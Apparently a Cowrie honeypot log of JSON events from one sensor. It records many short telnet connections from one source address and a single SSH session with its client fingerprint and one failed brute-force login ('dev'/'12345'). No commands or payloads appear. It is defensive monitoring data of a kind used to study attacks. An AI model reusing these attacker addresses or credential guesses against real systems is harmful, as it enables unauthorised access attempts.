{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40372,"dst_ip":"10.17.0.5","dst_port":23,"session":"3857fec98b63","protocol":"telnet","message":"New connection: 198.50.122.223:40372 (10.17.0.5:23) [session: 3857fec98b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:10.348928Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40652,"dst_ip":"10.17.0.5","dst_port":23,"session":"35d394c180e3","protocol":"telnet","message":"New connection: 198.50.122.223:40652 (10.17.0.5:23) [session: 35d394c180e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:10.411406Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40804,"dst_ip":"10.17.0.5","dst_port":23,"session":"439d5646e3c7","protocol":"telnet","message":"New connection: 198.50.122.223:40804 (10.17.0.5:23) [session: 439d5646e3c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:10.439098Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44114,"dst_ip":"10.17.0.5","dst_port":23,"session":"532522188976","protocol":"telnet","message":"New connection: 198.50.122.223:44114 (10.17.0.5:23) [session: 532522188976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:11.076665Z"}
{"eventid":"cowrie.session.closed","duration":30.799715042114258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:11.213298Z","src_ip":"198.50.122.223","session":"4de8ac7488ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44684,"dst_ip":"10.17.0.5","dst_port":23,"session":"4515b0438f05","protocol":"telnet","message":"New connection: 198.50.122.223:44684 (10.17.0.5:23) [session: 4515b0438f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:11.256529Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45798,"dst_ip":"10.17.0.5","dst_port":23,"session":"580ac22f3214","protocol":"telnet","message":"New connection: 198.50.122.223:45798 (10.17.0.5:23) [session: 580ac22f3214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:11.511282Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46040,"dst_ip":"10.17.0.5","dst_port":23,"session":"687564c6f7fe","protocol":"telnet","message":"New connection: 198.50.122.223:46040 (10.17.0.5:23) [session: 687564c6f7fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:11.551573Z"}
{"eventid":"cowrie.session.closed","duration":30.689301252365112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:12.376904Z","src_ip":"198.50.122.223","session":"bb03b8f550d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.474084854125977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:12.445334Z","src_ip":"198.50.122.223","session":"c5e0223d60cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53462,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a8b467fb327","protocol":"telnet","message":"New connection: 198.50.122.223:53462 (10.17.0.5:23) [session: 1a8b467fb327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:13.216748Z"}
{"eventid":"cowrie.session.closed","duration":30.64009690284729,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:13.321342Z","src_ip":"198.50.122.223","session":"00c2e411b44e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53922,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d6e31aa4d5b","protocol":"telnet","message":"New connection: 198.50.122.223:53922 (10.17.0.5:23) [session: 6d6e31aa4d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:13.333314Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55796,"dst_ip":"10.17.0.5","dst_port":23,"session":"04ddee6ef92a","protocol":"telnet","message":"New connection: 198.50.122.223:55796 (10.17.0.5:23) [session: 04ddee6ef92a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:13.648556Z"}
{"eventid":"cowrie.session.closed","duration":31.521676778793335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:13.877767Z","src_ip":"198.50.122.223","session":"9da50d266b06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57842,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eea79e5c8d0","protocol":"telnet","message":"New connection: 198.50.122.223:57842 (10.17.0.5:23) [session: 7eea79e5c8d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:14.030367Z"}
{"eventid":"cowrie.session.closed","duration":31.209378242492676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:14.205310Z","src_ip":"198.50.122.223","session":"5100ad7db7dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58766,"dst_ip":"10.17.0.5","dst_port":23,"session":"54a349b4b50b","protocol":"telnet","message":"New connection: 198.50.122.223:58766 (10.17.0.5:23) [session: 54a349b4b50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:14.350615Z"}
{"eventid":"cowrie.session.closed","duration":30.80752420425415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:14.455864Z","src_ip":"198.50.122.223","session":"47d3b5948466","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.932137966156006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:14.480997Z","src_ip":"198.50.122.223","session":"aa2616272102","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.957191944122314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:14.489782Z","src_ip":"198.50.122.223","session":"0ab5273cab3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.274739265441895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:14.502221Z","src_ip":"198.50.122.223","session":"ffd1021e1c85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.963276624679565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:14.580667Z","src_ip":"198.50.122.223","session":"73b089bfc22d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34394,"dst_ip":"10.17.0.5","dst_port":23,"session":"bed3353173ec","protocol":"telnet","message":"New connection: 198.50.122.223:34394 (10.17.0.5:23) [session: bed3353173ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:15.144737Z"}
{"eventid":"cowrie.session.closed","duration":31.04774045944214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:15.366787Z","src_ip":"198.50.122.223","session":"f9b9514d5374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82529616355896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:15.636264Z","src_ip":"198.50.122.223","session":"26e26ba15f6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37736,"dst_ip":"10.17.0.5","dst_port":23,"session":"48e8c51a8784","protocol":"telnet","message":"New connection: 198.50.122.223:37736 (10.17.0.5:23) [session: 48e8c51a8784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:15.771986Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37850,"dst_ip":"10.17.0.5","dst_port":23,"session":"d703552bbb7d","protocol":"telnet","message":"New connection: 198.50.122.223:37850 (10.17.0.5:23) [session: d703552bbb7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:15.800711Z"}
{"eventid":"cowrie.session.closed","duration":30.431798934936523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:16.113745Z","src_ip":"198.50.122.223","session":"d39a8f89d631","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.377315044403076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:16.214808Z","src_ip":"198.50.122.223","session":"056241af9e86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39865,"dst_ip":"10.17.0.5","dst_port":23,"session":"90eff0bd15e6","protocol":"telnet","message":"New connection: 198.50.122.223:39865 (10.17.0.5:23) [session: 90eff0bd15e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:16.301073Z"}
{"eventid":"cowrie.session.closed","duration":30.752267837524414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:16.484547Z","src_ip":"198.50.122.223","session":"87c73d9e1dec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44771146774292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:16.516648Z","src_ip":"198.50.122.223","session":"0883d5f87bd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37421274185181,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:16.528414Z","src_ip":"198.50.122.223","session":"151dab4760c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.103652477264404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:16.559536Z","src_ip":"198.50.122.223","session":"a4e577512509","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44006,"dst_ip":"10.17.0.5","dst_port":23,"session":"36613d3ae9c1","protocol":"telnet","message":"New connection: 198.50.122.223:44006 (10.17.0.5:23) [session: 36613d3ae9c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:17.064988Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44202,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d8439b35bf6","protocol":"telnet","message":"New connection: 198.50.122.223:44202 (10.17.0.5:23) [session: 5d8439b35bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:17.143227Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44396,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9f60d8b85b6","protocol":"telnet","message":"New connection: 198.50.122.223:44396 (10.17.0.5:23) [session: f9f60d8b85b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:17.212765Z"}
{"eventid":"cowrie.session.closed","duration":31.382291793823242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:17.426536Z","src_ip":"198.50.122.223","session":"265f531ab73a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11603307723999,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:17.575323Z","src_ip":"198.50.122.223","session":"101ce6d42715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46908,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca31607d8f3d","protocol":"telnet","message":"New connection: 198.50.122.223:46908 (10.17.0.5:23) [session: ca31607d8f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:17.690894Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48756,"dst_ip":"10.17.0.5","dst_port":23,"session":"73685a35ad61","protocol":"telnet","message":"New connection: 198.50.122.223:48756 (10.17.0.5:23) [session: 73685a35ad61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:18.015621Z"}
{"eventid":"cowrie.session.closed","duration":30.93133234977722,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:18.345091Z","src_ip":"198.50.122.223","session":"d27b4718373d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76704168319702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:18.363410Z","src_ip":"198.50.122.223","session":"493efac25efb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77565097808838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:18.366921Z","src_ip":"198.50.122.223","session":"0e8b2a04c9d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71198844909668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:18.390914Z","src_ip":"198.50.122.223","session":"65f262833ac9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.452500820159912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:18.566330Z","src_ip":"198.50.122.223","session":"44925e4d419a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48458,"dst_ip":"10.17.0.5","dst_port":23,"session":"abae64b9202b","protocol":"telnet","message":"New connection: 198.50.122.223:48458 (10.17.0.5:23) [session: abae64b9202b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:18.969389Z"}
{"eventid":"cowrie.session.closed","duration":31.044845819473267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:20.162194Z","src_ip":"198.50.122.223","session":"1c37e96d000c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58466,"dst_ip":"10.17.0.5","dst_port":23,"session":"07ec26ed4877","protocol":"telnet","message":"New connection: 198.50.122.223:58466 (10.17.0.5:23) [session: 07ec26ed4877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:20.172091Z"}
{"eventid":"cowrie.session.closed","duration":30.66325354576111,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:20.238071Z","src_ip":"198.50.122.223","session":"de2884f78c07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.614337921142578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:20.450756Z","src_ip":"198.50.122.223","session":"b720baa20dc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.096198797225952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:20.552622Z","src_ip":"198.50.122.223","session":"006ba2854b9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25837755203247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:20.610101Z","src_ip":"198.50.122.223","session":"48a537e10929","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":47512,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0e232b91cd6","protocol":"ssh","message":"New connection: 210.79.142.221:47512 (10.17.0.5:22) [session: d0e232b91cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:20.972672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:20.977380Z","src_ip":"210.79.142.221","session":"d0e232b91cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34478,"dst_ip":"10.17.0.5","dst_port":23,"session":"ede633204ece","protocol":"telnet","message":"New connection: 198.50.122.223:34478 (10.17.0.5:23) [session: ede633204ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:21.070448Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:21.227823Z","src_ip":"210.79.142.221","session":"d0e232b91cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34942,"dst_ip":"10.17.0.5","dst_port":23,"session":"f094a5034189","protocol":"telnet","message":"New connection: 198.50.122.223:34942 (10.17.0.5:23) [session: f094a5034189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:21.233863Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35374,"dst_ip":"10.17.0.5","dst_port":23,"session":"403ce8f99435","protocol":"telnet","message":"New connection: 198.50.122.223:35374 (10.17.0.5:23) [session: 403ce8f99435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:21.337047Z"}
{"eventid":"cowrie.session.closed","duration":30.679009675979614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:21.411464Z","src_ip":"198.50.122.223","session":"4a02ddf3a8bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36066,"dst_ip":"10.17.0.5","dst_port":23,"session":"13e300b7e265","protocol":"telnet","message":"New connection: 198.50.122.223:36066 (10.17.0.5:23) [session: 13e300b7e265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:21.464535Z"}
{"eventid":"cowrie.session.closed","duration":31.053595542907715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:21.498239Z","src_ip":"198.50.122.223","session":"905eab080f12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15106463432312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:21.563729Z","src_ip":"198.50.122.223","session":"67996e080b0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36936,"dst_ip":"10.17.0.5","dst_port":23,"session":"627c7656e225","protocol":"telnet","message":"New connection: 198.50.122.223:36936 (10.17.0.5:23) [session: 627c7656e225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:21.585768Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52210,"dst_ip":"10.17.0.5","dst_port":23,"session":"9180e86bbf8c","protocol":"telnet","message":"New connection: 198.50.122.223:52210 (10.17.0.5:23) [session: 9180e86bbf8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:21.761023Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39414,"dst_ip":"10.17.0.5","dst_port":23,"session":"c62ccf7f4ef3","protocol":"telnet","message":"New connection: 198.50.122.223:39414 (10.17.0.5:23) [session: c62ccf7f4ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:22.072502Z"}
{"eventid":"cowrie.session.closed","duration":30.162949323654175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:22.144598Z","src_ip":"198.50.122.223","session":"30490010f53d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0748393535614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:22.241378Z","src_ip":"198.50.122.223","session":"db542ea6182c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dev","password":"12345","message":"login attempt [dev/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:22.249667Z","src_ip":"210.79.142.221","session":"d0e232b91cd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:23.496237Z","src_ip":"210.79.142.221","session":"d0e232b91cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46912,"dst_ip":"10.17.0.5","dst_port":23,"session":"413ecd7b8383","protocol":"telnet","message":"New connection: 198.50.122.223:46912 (10.17.0.5:23) [session: 413ecd7b8383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:23.756963Z"}
{"eventid":"cowrie.session.closed","duration":30.318252563476562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:24.184551Z","src_ip":"198.50.122.223","session":"8509d1ff7d3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00143337249756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:24.201537Z","src_ip":"198.50.122.223","session":"67d068a90370","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.695173501968384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:24.210495Z","src_ip":"198.50.122.223","session":"251aded2af58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23543620109558,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:24.265114Z","src_ip":"198.50.122.223","session":"25c78a5c5e8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091036796569824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:24.297066Z","src_ip":"198.50.122.223","session":"36ca7590a479","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1107234954834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:24.530364Z","src_ip":"198.50.122.223","session":"3afbc9d709e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53134,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f61aca8b958","protocol":"telnet","message":"New connection: 198.50.122.223:53134 (10.17.0.5:23) [session: 4f61aca8b958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:25.179900Z"}
